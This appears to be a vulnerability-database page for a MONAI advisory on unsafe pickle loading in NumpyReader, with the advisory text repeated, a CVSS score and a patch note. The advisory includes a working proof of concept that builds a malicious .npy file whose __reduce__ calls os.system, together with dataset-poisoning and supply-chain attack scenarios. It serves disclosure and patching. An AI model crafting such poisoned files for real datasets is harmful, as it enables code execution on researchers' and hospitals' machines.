### Summary The `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` (line 1276), enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547)....
Full CISO analysis pending enrichment.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| MONAI | pip | < 1.6.0 | 1.6.0 |
Do you use MONAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
Patch available
Update MONAI to version 1.6.0
Which compliance frameworks are affected?
Compliance analysis pending. Sign in for full compliance mapping when available.
Frequently Asked Questions
What is GHSA-wg9g-w2j2-8pgr?
### Summary The `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` (line 1276), enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547). The `allow_pickle` parameter is hardcoded to `True` and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except `allow_pickle`"). ### Details **Vulnerable code** ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/image_reader.py#L1276)): ```python # monai/data/image_reader.py, line 1276, in NumpyReader.read() img = np.load(name, allow_pickle=True, **kwargs_) ``` The `NumpyReader` is automatically selected by MONAI's `LoadImage` transform for any file with `.npy` or `.npz` extension (see `monai/transforms/io/array.py` line 68: `"numpyreader": NumpyReader`). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable. The `allow_pickle=True` parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the `__reduce__` method. **Compare with safe practices in the same project:** The MONAI project has already addressed similar deserialization issues in other code paths: - `torch.load` calls now use `weights_only=True` (after GHSA-6vm5-6jv9-rjpj) - `PersistentDataset` defaults to `weights_only=True` (line 272-275 of dataset.py) However, `NumpyReader` was not included in these security improvements. Additionally, the `NPZDataset` class in the same project correctly uses the default `allow_pickle=False` ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/dataset.py#L1433)): ```python # monai/data/dataset.py, line 1433 — safe usage dat = np.load(npzfile) # allow_pickle defaults to False ``` This inconsistency shows that `NumpyReader` was overlooked during security hardening. **The user cannot override this behavior:** ```python # monai/data/image_reader.py, line 1233 (docstring) # kwargs: additional args for `numpy.load` API except `allow_pickle`. ``` The hardcoded `allow_pickle=True` on line 1276 overrides any user attempt to set it via kwargs. **Data flow:** 1. User creates a data pipeline with `LoadImage` transform or uses any MONAI dataset class 2. A `.npy` or `.npz` file is provided as input (e.g., as part of a shared medical dataset) 3. `LoadImage` selects `NumpyReader` based on file extension 4. `NumpyReader.read()` calls `np.load(name, allow_pickle=True)` 5. Malicious pickle payload in the `.npy` file executes arbitrary code ### PoC ```python #!/usr/bin/env python3 """PoC: RCE via NumpyReader allow_pickle=True in MONAI""" import os import tempfile import numpy as np class MaliciousPayload: def __reduce__(self): return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',)) tmpdir = tempfile.mkdtemp(prefix="monai_poc_") malicious_npy = os.path.join(tmpdir, "malicious_mask.npy") np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True) # With MONAI installed: from monai.data.image_reader import NumpyReader reader = NumpyReader() data = reader.read(malicious_npy) # Verify RCE proof = "/tmp/monai_rce_proof.txt" if os.path.exists(proof): print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}") os.remove(proof) os.remove(malicious_npy) os.rmdir(tmpdir) ``` **Output:** ``` [!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed ``` ### Impact An attacker can achieve arbitrary code execution on any machine running MONAI by: 1. **Dataset poisoning**: Placing a malicious `.npy` file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes. 2. **Supply chain attack**: Contributing a malicious `.npy` file to a MONAI tutorial, example, or bundle that other users download and run. 3. **Lateral movement in medical environments**: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server. This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).
Is GHSA-wg9g-w2j2-8pgr actively exploited?
No confirmed active exploitation of GHSA-wg9g-w2j2-8pgr has been reported, but organizations should still patch proactively.
How to fix GHSA-wg9g-w2j2-8pgr?
Update to patched version: MONAI 1.6.0.
What is the CVSS score for GHSA-wg9g-w2j2-8pgr?
GHSA-wg9g-w2j2-8pgr has a CVSS v3.1 base score of 7.8 (HIGH).
What are the technical details?
Original Advisory
### Summary The `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` (line 1276), enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547). The `allow_pickle` parameter is hardcoded to `True` and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except `allow_pickle`"). ### Details **Vulnerable code** ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/image_reader.py#L1276)): ```python # monai/data/image_reader.py, line 1276, in NumpyReader.read() img = np.load(name, allow_pickle=True, **kwargs_) ``` The `NumpyReader` is automatically selected by MONAI's `LoadImage` transform for any file with `.npy` or `.npz` extension (see `monai/transforms/io/array.py` line 68: `"numpyreader": NumpyReader`). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable. The `allow_pickle=True` parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the `__reduce__` method. **Compare with safe practices in the same project:** The MONAI project has already addressed similar deserialization issues in other code paths: - `torch.load` calls now use `weights_only=True` (after GHSA-6vm5-6jv9-rjpj) - `PersistentDataset` defaults to `weights_only=True` (line 272-275 of dataset.py) However, `NumpyReader` was not included in these security improvements. Additionally, the `NPZDataset` class in the same project correctly uses the default `allow_pickle=False` ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/dataset.py#L1433)): ```python # monai/data/dataset.py, line 1433 — safe usage dat = np.load(npzfile) # allow_pickle defaults to False ``` This inconsistency shows that `NumpyReader` was overlooked during security hardening. **The user cannot override this behavior:** ```python # monai/data/image_reader.py, line 1233 (docstring) # kwargs: additional args for `numpy.load` API except `allow_pickle`. ``` The hardcoded `allow_pickle=True` on line 1276 overrides any user attempt to set it via kwargs. **Data flow:** 1. User creates a data pipeline with `LoadImage` transform or uses any MONAI dataset class 2. A `.npy` or `.npz` file is provided as input (e.g., as part of a shared medical dataset) 3. `LoadImage` selects `NumpyReader` based on file extension 4. `NumpyReader.read()` calls `np.load(name, allow_pickle=True)` 5. Malicious pickle payload in the `.npy` file executes arbitrary code ### PoC ```python #!/usr/bin/env python3 """PoC: RCE via NumpyReader allow_pickle=True in MONAI""" import os import tempfile import numpy as np class MaliciousPayload: def __reduce__(self): return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',)) tmpdir = tempfile.mkdtemp(prefix="monai_poc_") malicious_npy = os.path.join(tmpdir, "malicious_mask.npy") np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True) # With MONAI installed: from monai.data.image_reader import NumpyReader reader = NumpyReader() data = reader.read(malicious_npy) # Verify RCE proof = "/tmp/monai_rce_proof.txt" if os.path.exists(proof): print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}") os.remove(proof) os.remove(malicious_npy) os.rmdir(tmpdir) ``` **Output:** ``` [!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed ``` ### Impact An attacker can achieve arbitrary code execution on any machine running MONAI by: 1. **Dataset poisoning**: Placing a malicious `.npy` file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes. 2. **Supply chain attack**: Contributing a malicious `.npy` file to a MONAI tutorial, example, or bundle that other users download and run. 3. **Lateral movement in medical environments**: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server. This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).
Weaknesses (CWE)
CWE-502 — Deserialization of Untrusted Data: The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
- [Architecture and Design, Implementation] If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- [Implementation] When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2025-58755 8.8 MONAI: path traversal allows arbitrary file write
Same package: monai CVE-2025-58757 8.8 MONAI: unsafe pickle deserialization RCE in data pipeline
Same package: monai CVE-2025-58756 8.8 MONAI: unsafe deserialization in CheckpointLoader allows RCE
Same package: monai GHSA-qxq5-qhx6-94qw 7.8 Analysis pending
Same package: monai GHSA-89gg-p5r5-q6r4 7.7 MONAI: pickle deserialization RCE in Auto3DSeg
Same package: monai